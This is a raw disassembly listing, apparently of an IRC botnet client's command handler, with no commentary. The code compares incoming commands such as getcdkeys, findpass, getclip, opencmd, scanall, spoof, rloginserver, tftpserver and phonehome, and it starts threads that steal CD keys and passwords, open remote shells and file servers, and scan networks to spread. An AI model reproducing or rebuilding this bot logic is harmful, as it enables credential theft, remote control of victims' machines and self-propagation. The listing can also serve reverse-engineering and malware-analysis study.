		jz	loc_4044D7
		push	edi
		push	offset aS_1	; "s"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044D7
		push	edi
		push	offset aId	; "id"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044A0
		push	edi
		push	offset aI	; "i"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044A0
		push	edi
		push	offset aReboot	; "reboot"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4031BF
		call	sub_418337
		test	eax, eax
		mov	eax, offset unk_42C974
		jnz	short loc_403191
		mov	eax, offset unk_42C94C


loc_403191:				; CODE XREF: sub_401ACD+16BDj
		push	eax
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 1Ch
		jmp	loc_4083BC
; ---------------------------------------------------------------------------


loc_4031BF:				; CODE XREF: sub_401ACD+16AFj
		push	edi
		push	offset aThreads	; "threads"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4043C1
		push	edi
		push	offset aT	; "t"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4043C1
		push	edi
		push	offset aAliases	; "aliases"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40439E
		push	edi
		push	offset aAl	; "al"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40439E
		push	edi
		push	offset aLog	; "log"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4042AB
		push	edi
		push	offset aLg	; "lg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4042AB
		push	edi
		push	offset aClearlog ; "clearlog"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404292
		push	edi
		push	offset aClg	; "clg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404292
		push	edi
		push	offset aNetinfo	; "netinfo"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404258
		push	edi
		push	offset aNi	; "ni"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404258
		push	edi
		push	offset aSysinfo	; "sysinfo"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40422D
		push	edi
		push	offset aSi	; "si"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40422D
		push	edi
		push	offset aLsp100	; "lsp100"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041F3
		push	edi
		push	offset aLsp100	; "lsp100"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041F3
		push	edi
		push	offset aProcs	; "procs"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040D0
		push	edi
		push	offset aPs	; "ps"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040D0
		push	edi
		push	offset aGetcdkeys ; "getcdkeys"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040B2
		push	edi
		push	offset aKey	; "key"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040B2
		push	edi
		push	offset aUptime	; "uptime"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40402A
		push	edi
		push	offset aUp	; "up"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40402A
		push	edi
		push	offset aDriveinfo ; "driveinfo"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40400D
		push	edi
		push	offset aDrv	; "drv"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40400D
		push	edi
		push	offset aTestdlls ; "testdlls"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FF4
		push	edi
		push	offset aDll	; "dll"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FF4
		push	edi
		push	offset aOpencmd	; "opencmd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FB5
		push	edi
		push	offset aOcmd	; "ocmd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FB5
		push	edi
		push	offset aCmdstop	; "cmdstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40340A
		push	[ebp+esi+var_8C]
		push	0Ah
		push	offset dword_42C88C
		push	offset dword_42C880
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_40340A:				; CODE XREF: sub_401ACD+1923j
		push	edi
		push	offset dword_42C87C
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_403527
		cmp	[ebp+var_8], ebx
		jnz	short loc_40343E
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42C868
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h


loc_40343E:				; CODE XREF: sub_401ACD+1955j
		mov	eax, [ebp+arg_18]
		mov	[ebp+arg_20], ebx
		mov	[ebp+arg_18], eax
		jmp	short loc_40344C
; ---------------------------------------------------------------------------


loc_403449:				; CODE XREF: sub_401ACD+19CBj
		mov	eax, [ebp+arg_18]


loc_40344C:				; CODE XREF: sub_401ACD+197Aj
		cmp	[eax], bl
		jz	short loc_403453
		inc	eax
		jmp	short loc_403458
; ---------------------------------------------------------------------------


loc_403453:				; CODE XREF: sub_401ACD+1981j
		mov	eax, offset aEmpty ; "<Empty>"


loc_403458:				; CODE XREF: sub_401ACD+1984j
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_20]
		push	offset aD_S	; "%d. %s"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	[ebp+arg_18], 80h
		add	esp, 24h
		inc	[ebp+arg_20]
		cmp	[ebp+arg_20], 3
		jl	short loc_403449
		push	offset unk_42C834
		call	sub_4151AC
		pop	ecx


loc_4034A5:				; CODE XREF: sub_401ACD+1C5Aj
					; sub_401ACD+2F43j
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		mov	[ebp+arg_10], eax
		jz	loc_401E94
		push	edi
		push	offset aSpoof	; "spoof"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404AF4
		mov	esi, [ebp+arg_10]
		push	offset aOff	; "off"
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404A22
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C800
		push	eax
		mov	dword_4CEDE8, ebx
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_4034FD:				; CODE XREF: sub_401ACD+3022j
		cmp	[ebp+var_8], ebx
		jnz	loc_409854
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72


loc_40351F:				; CODE XREF: sub_401ACD+7118j
		add	esp, 14h
		jmp	loc_409854
; ---------------------------------------------------------------------------


loc_403527:				; CODE XREF: sub_401ACD+194Cj
		push	edi
		push	offset aGetclip	; "getclip"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F74
		push	edi
		push	offset aGc	; "gc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F74
		push	edi
		push	offset aFlusharp ; "flusharp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F5D
		push	edi
		push	offset aFarp	; "farp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F5D
		push	edi
		push	offset aFlushdns ; "flushdns"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F25
		push	edi
		push	offset aFdns	; "fdns"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F25
		push	edi
		push	offset aCurrentip ; "currentip"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403EEB
		push	edi
		push	offset aCip	; "cip"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403EEB
		push	edi
		push	offset aRloginserver ; "rloginserver"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403DB0
		push	edi
		push	offset aRlogin	; "rlogin"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403DB0
		push	edi
		push	offset aHttpserver ; "httpserver"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403C24
		push	edi
		push	offset aHttp	; "http"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403C24
		push	edi
		push	offset aTftpserver ; "tftpserver"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403AEA
		push	edi
		push	offset aTftp	; "tftp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403AEA
		push	edi
		push	offset aCrash	; "crash"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4036B3
		lea	eax, [ebp+var_2C4]
		push	offset dword_42C758
		push	eax
		call	sub_41B886
		cmp	[ebp+var_8], ebx
		pop	ecx
		pop	ecx
		jnz	short loc_403692
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h


loc_403692:				; CODE XREF: sub_401ACD+1BA7j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		mov	[esp+10h+var_10], offset aCrash	; "crash"
		push	[ebp+esi+var_7C]
		call	sub_41C070
		jmp	loc_40207C
; ---------------------------------------------------------------------------


loc_4036B3:				; CODE XREF: sub_401ACD+1B8Fj
		push	edi
		push	offset aScanall	; "scanall"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4037E6
		push	edi
		push	offset aSa	; "sa"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4037E6
		push	edi
		push	offset aPhonehome ; "phonehome"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403707
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: hi ;).\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		jmp	loc_401F52
; ---------------------------------------------------------------------------


loc_403707:				; CODE XREF: sub_401ACD+1C1Fj
		push	edi
		push	offset aFindpass ; "findpass"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40372D
		push	edi
		push	offset aFp	; "fp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4034A5


loc_40372D:				; CODE XREF: sub_401ACD+1C49j
		push	[ebp+var_88]
		lea	eax, [ebp+var_F54]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_F58], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_ED0], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_ECC], eax
		push	offset unk_42C6E8
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	26h
		push	eax
		call	sub_40B0F6
		add	esp, 18h
		mov	[ebp+var_ED4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_F58]
		push	ebx
		push	eax
		push	offset sub_416F1A
		push	ebx
		push	ebx
		call	dword_42707C	; CreateThread
		mov	ecx, [ebp+var_ED4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E584[ecx], eax
		jz	short loc_4037D5


loc_4037BF:				; CODE XREF: sub_401ACD+1D06j
		cmp	[ebp+var_EC8], ebx
		jnz	loc_4083BC
		push	32h
		call	dword_427078	; Sleep
		jmp	short loc_4037BF
; ---------------------------------------------------------------------------


loc_4037D5:				; CODE XREF: sub_401ACD+1CF0j
		call	dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42C6AC
		jmp	loc_4083AD
; ---------------------------------------------------------------------------


loc_4037E6:				; CODE XREF: sub_401ACD+1BF5j
					; sub_401ACD+1C0Aj
		mov	al, byte_431CB2
		mov	[ebp+arg_0], ebx
		cmp	al, bl
		mov	edx, offset byte_431CB2
		jz	loc_401E94
		mov	ecx, edx


loc_4037FD:				; CODE XREF: sub_401ACD+1D38j
		inc	[ebp+arg_0]
		add	ecx, 0Bh
		cmp	[ecx], bl
		jnz	short loc_4037FD
		cmp	al, bl
		jz	loc_401E94
		mov	[ebp+arg_18], edx
		mov	esi, offset aF_0 ; "#f"


loc_403817:				; CODE XREF: sub_401ACD+2008j
		push	0Bh
		call	sub_40B33E
		pop	ecx
		mov	ecx, eax
		mov	eax, 190h
		cdq
		idiv	[ebp+arg_0]
		add	eax, ecx
		cmp	eax, 1F4h
		jle	short loc_403866
		push	ecx
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C66C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 20h
		jmp	loc_403ACC
; ---------------------------------------------------------------------------


loc_403866:				; CODE XREF: sub_401ACD+1D64j
		or	[ebp+var_730], 0FFFFFFFFh
		cmp	dword_431AD0, ebx
		mov	[ebp+var_734], 32h
		mov	[ebp+var_748], 5
		mov	[ebp+var_744], 320h
		mov	[ebp+arg_0], ebx
		jz	short loc_4038D7
		mov	edi, offset dword_431AD0


loc_40389B:				; CODE XREF: sub_401ACD+1DECj
		mov	eax, [ebp+arg_18]
		add	eax, 0FFFFFFF6h
		push	eax
		lea	eax, [edi-28h]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4038BD
		inc	[ebp+arg_0]
		add	edi, 40h
		cmp	[edi], ebx
		jnz	short loc_40389B
		jmp	short loc_4038D7
; ---------------------------------------------------------------------------


loc_4038BD:				; CODE XREF: sub_401ACD+1DE2j
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		mov	[ebp+var_730], eax
		shl	ecx, 6
		mov	ecx, dword_431AD0[ecx]
		mov	[ebp+var_74C], ecx


loc_4038D7:				; CODE XREF: sub_401ACD+1DC7j
					; sub_401ACD+1DEEj
		cmp	[ebp+var_74C], ebx
		jz	loc_403AE0
		push	10h
		lea	eax, [ebp+var_2D4]
		pop	edi
		push	eax
		lea	eax, [ebp+var_30C]
		push	eax
		mov	[ebp+var_2D4], edi
		push	[ebp+arg_4]
		call	dword_4CB5D8	; getsockname
		mov	al, [ebp+var_8FF]
		push	edi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_308], eax
		push	[ebp+var_308]
		call	dword_4CB6C0	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_860]
		push	eax
		call	sub_41B5F0
		xor	eax, eax
		cmp	[ebp+var_8FF], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_860]
		push	eax
		call	sub_41BE40
		add	esp, 14h
		cmp	edi, ebx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_40397F


loc_40395D:				; CODE XREF: sub_401ACD+1EB0j
		cmp	eax, ebx
		jz	short loc_40397F
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_860]
		push	30h
		push	eax
		call	sub_41BE40
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_40395D


loc_40397F:				; CODE XREF: sub_401ACD+1E8Ej
					; sub_401ACD+1E92j
		mov	eax, [ebp+arg_4]
		push	[ebp+var_88]
		mov	[ebp+var_750], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_728], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_724], eax
		mov	edi, 80h
		lea	eax, [ebp+var_850]
		push	edi
		push	eax
		mov	[ebp+var_720], 1
		call	sub_41B980
		push	offset byte_43D7E8
		push	esi
		call	sub_41C070
		add	esp, 14h
		test	eax, eax
		jz	short loc_4039E1
		push	esi
		lea	eax, [ebp+var_7D0]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_4039E7
; ---------------------------------------------------------------------------


loc_4039E1:				; CODE XREF: sub_401ACD+1EFFj
		mov	[ebp+var_7D0], bl


loc_4039E7:				; CODE XREF: sub_401ACD+1F12j
		cmp	[ebp+var_720], ebx
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_4039F9
		mov	eax, offset aSequential	; "Sequential"


loc_4039F9:				; CODE XREF: sub_401ACD+1F25j
		push	[ebp+var_734]
		lea	ecx, [ebp+var_860]
		push	[ebp+var_744]
		push	[ebp+var_748]
		push	[ebp+var_74C]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C5EC
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B0F6
		add	esp, 2Ch
		mov	[ebp+var_740], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_860]
		push	ebx
		push	eax
		push	offset sub_40C33C
		push	ebx
		push	ebx
		call	dword_42707C	; CreateThread
		mov	ecx, [ebp+var_740]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E584[ecx], eax
		jz	short loc_403A83


loc_403A71:				; CODE XREF: sub_401ACD+1FB4j
		cmp	[ebp+var_71C], ebx
		jnz	short loc_403A9E
		push	32h
		call	dword_427078	; Sleep
		jmp	short loc_403A71
; ---------------------------------------------------------------------------


loc_403A83:				; CODE XREF: sub_401ACD+1FA2j
		call	dword_42708C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C5B0
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_403A9E:				; CODE XREF: sub_401ACD+1FAAj
		cmp	[ebp+var_8], ebx
		jnz	short loc_403ABF
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h


loc_403ABF:				; CODE XREF: sub_401ACD+1FD4j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		pop	ecx


loc_403ACC:				; CODE XREF: sub_401ACD+1D94j
		add	[ebp+arg_18], 0Bh
		mov	eax, [ebp+arg_18]
		cmp	[eax], bl
		jnz	loc_403817
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_403AE0:				; CODE XREF: sub_401ACD+1E10j
		push	offset unk_42C578
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_403AEA:				; CODE XREF: sub_401ACD+1B65j
					; sub_401ACD+1B7Aj
		push	5
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_403B00
		push	offset unk_42C558
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_403B00:				; CODE XREF: sub_401ACD+2027j
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		jz	short loc_403B23
		push	eax
		mov	edi, 104h
		lea	eax, [ebp+var_2D50]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_403B37
; ---------------------------------------------------------------------------


loc_403B23:				; CODE XREF: sub_401ACD+203Cj
		mov	edi, 104h
		lea	eax, [ebp+var_2D50]
		push	edi
		push	eax
		push	ebx
		call	dword_427070	; GetModuleFileNameA


loc_403B37:				; CODE XREF: sub_401ACD+2054j
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jnz	short loc_403B47
		mov	esi, offset byte_429108


loc_403B47:				; CODE XREF: sub_401ACD+2073j
		push	esi
		lea	eax, [ebp+var_2C4C]
		push	edi
		push	eax
		call	sub_41B980
		mov	eax, dword_429078
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_2B40],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_2B44],	ebx
		mov	[ebp+var_2D54],	eax
		lea	eax, [ebp+var_2B3C]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_2ABC],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2AB8],	eax
		lea	eax, [ebp+var_2D50]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_2B40]
		push	offset unk_42C524
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	5
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_2B48],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2D54]
		push	ebx
		push	eax
		push	offset sub_411796
		push	ebx
		push	ebx
		call	dword_42707C	; CreateThread
		mov	ecx, [ebp+var_2B48]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E584[ecx], eax
		jz	short loc_403C13


loc_403BFD:				; CODE XREF: sub_401ACD+2144j
		cmp	[ebp+var_2AB4],	ebx
		jnz	loc_40828B
		push	32h
		call	dword_427078	; Sleep
		jmp	short loc_403BFD
; ---------------------------------------------------------------------------


loc_403C13:				; CODE XREF: sub_401ACD+212Ej
		call	dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42C4E8
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_403C24:				; CODE XREF: sub_401ACD+1B3Bj
					; sub_401ACD+1B50j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_403C43
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jz	short loc_403C43
		push	edi
		call	sub_41B779
		pop	ecx
		jmp	short loc_403C48
; ---------------------------------------------------------------------------


loc_403C43:				; CODE XREF: sub_401ACD+2160j
					; sub_401ACD+216Bj
		mov	eax, dword_42907C


loc_403C48:				; CODE XREF: sub_401ACD+2174j
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_36C8],	eax
		xor	eax, eax
		cmp	[ebp+var_8FC], bl
		setz	al
		cmp	esi, ebx
		mov	[ebp+var_36B4],	eax
		jz	short loc_403C7B
		lea	eax, [ebp+var_37CC]
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	short loc_403CA6
; ---------------------------------------------------------------------------


loc_403C7B:				; CODE XREF: sub_401ACD+219Bj
		lea	eax, [ebp+var_4FF4]
		push	104h
		push	eax
		call	dword_427074	; GetSystemDirectoryA
		push	ebx
		push	ebx
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		lea	eax, [ebp+var_4FF4]
		push	eax
		call	sub_41B9D1
		add	esp, 14h


loc_403CA6:				; CODE XREF: sub_401ACD+21ACj
		lea	eax, [ebp+var_37CC]
		push	eax
		call	sub_41AFE0
		cmp	[ebp+eax+var_37CD], 5Ch
		pop	ecx
		jnz	short loc_403CD1
		lea	eax, [ebp+var_37CC]
		push	eax
		call	sub_41AFE0
		pop	ecx
		mov	[ebp+eax+var_37CD], bl


loc_403CD1:				; CODE XREF: sub_401ACD+21EEj
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_3A54]
		mov	[ebp+var_3A58],	esi
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_36B8],	eax
		lea	eax, [ebp+var_37CC]
		mov	[ebp+var_36BC],	edi
		push	eax
		push	[ebp+var_36C8]
		push	esi
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C4AC
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	3
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_36C0],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3A58]
		push	ebx
		push	eax
		push	offset sub_40F0D5
		push	ebx
		push	ebx
		call	dword_42707C	; CreateThread
		mov	ecx, [ebp+var_36C0]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E584[ecx], eax
		jz	short loc_403D85


loc_403D73:				; CODE XREF: sub_401ACD+22B6j
		cmp	[ebp+var_36AC],	ebx
		jnz	short loc_403DA0
		push	32h
		call	dword_427078	; Sleep
		jmp	short loc_403D73
; ---------------------------------------------------------------------------


loc_403D85:				; CODE XREF: sub_401ACD+22A4j
		call	dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42C470


loc_403D91:				; CODE XREF: sub_401ACD+2419j
					; sub_401ACD+4D04j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_403DA0:				; CODE XREF: sub_401ACD+22ACj
					; sub_401ACD+23FDj ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4083BC
		push	ebx
		push	edi
		jmp	loc_407285
; ---------------------------------------------------------------------------


loc_403DB0:				; CODE XREF: sub_401ACD+1B11j
					; sub_401ACD+1B26j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_403DCF
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jz	short loc_403DCF
		push	edi
		call	sub_41B779
		pop	ecx
		jmp	short loc_403DD4
; ---------------------------------------------------------------------------


loc_403DCF:				; CODE XREF: sub_401ACD+22ECj
					; sub_401ACD+22F7j
		mov	eax, dword_429080


loc_403DD4:				; CODE XREF: sub_401ACD+2300j
		mov	[ebp+var_1824],	eax
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jnz	short loc_403DEB
		lea	eax, [ebp+var_C4]


loc_403DEB:				; CODE XREF: sub_401ACD+2316j
		push	eax
		lea	eax, [ebp+var_1964]
		push	40h
		push	eax
		call	sub_41B980
		mov	esi, [ebp+esi+var_84]
		add	esp, 0Ch
		cmp	esi, ebx
		jnz	short loc_403E0D
		mov	esi, offset byte_43D7E8


loc_403E0D:				; CODE XREF: sub_401ACD+2339j
		push	esi
		lea	eax, [ebp+var_1924]
		push	100h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_19E4]
		push	[ebp+var_88]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_8]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1810],	eax
		lea	eax, [ebp+var_1964]
		push	eax
		mov	[ebp+var_19E8],	esi
		push	[ebp+var_1824]
		mov	[ebp+var_1814],	edi
		push	esi
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C434
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	9
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_1820],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_19E8]
		push	ebx
		push	eax
		push	offset sub_410A4D
		push	ebx
		push	ebx
		call	dword_42707C	; CreateThread
		mov	ecx, [ebp+var_1820]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E584[ecx], eax
		jz	short loc_403EDA


loc_403EC4:				; CODE XREF: sub_401ACD+240Bj
		cmp	[ebp+var_180C],	ebx
		jnz	loc_403DA0
		push	32h
		call	dword_427078	; Sleep
		jmp	short loc_403EC4
; ---------------------------------------------------------------------------


loc_403EDA:				; CODE XREF: sub_401ACD+23F5j
		call	dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42C3F8
		jmp	loc_403D91
; ---------------------------------------------------------------------------


loc_403EEB:				; CODE XREF: sub_401ACD+1AE7j
					; sub_401ACD+1AFCj
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_403EFE
		push	esi
		call	sub_41B779
		jmp	short loc_403F05
; ---------------------------------------------------------------------------


loc_403EFE:				; CODE XREF: sub_401ACD+2427j
		push	0Bh
		call	sub_40B35D


loc_403F05:				; CODE XREF: sub_401ACD+242Fj
		cmp	eax, ebx
		pop	ecx
		jz	loc_409854
		push	eax
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40BA56
		jmp	loc_4043B9
; ---------------------------------------------------------------------------


loc_403F25:				; CODE XREF: sub_401ACD+1ABDj
					; sub_401ACD+1AD2j
		mov	eax, dword_4CB550
		cmp	eax, ebx
		jz	short loc_403F42
		call	eax	; DnsFlushResolverCache
		test	eax, eax
		jz	short loc_403F3B
		push	offset unk_42C3D4
		jmp	short loc_403F47
; ---------------------------------------------------------------------------


loc_403F3B:				; CODE XREF: sub_401ACD+2465j
		push	offset unk_42C3A8
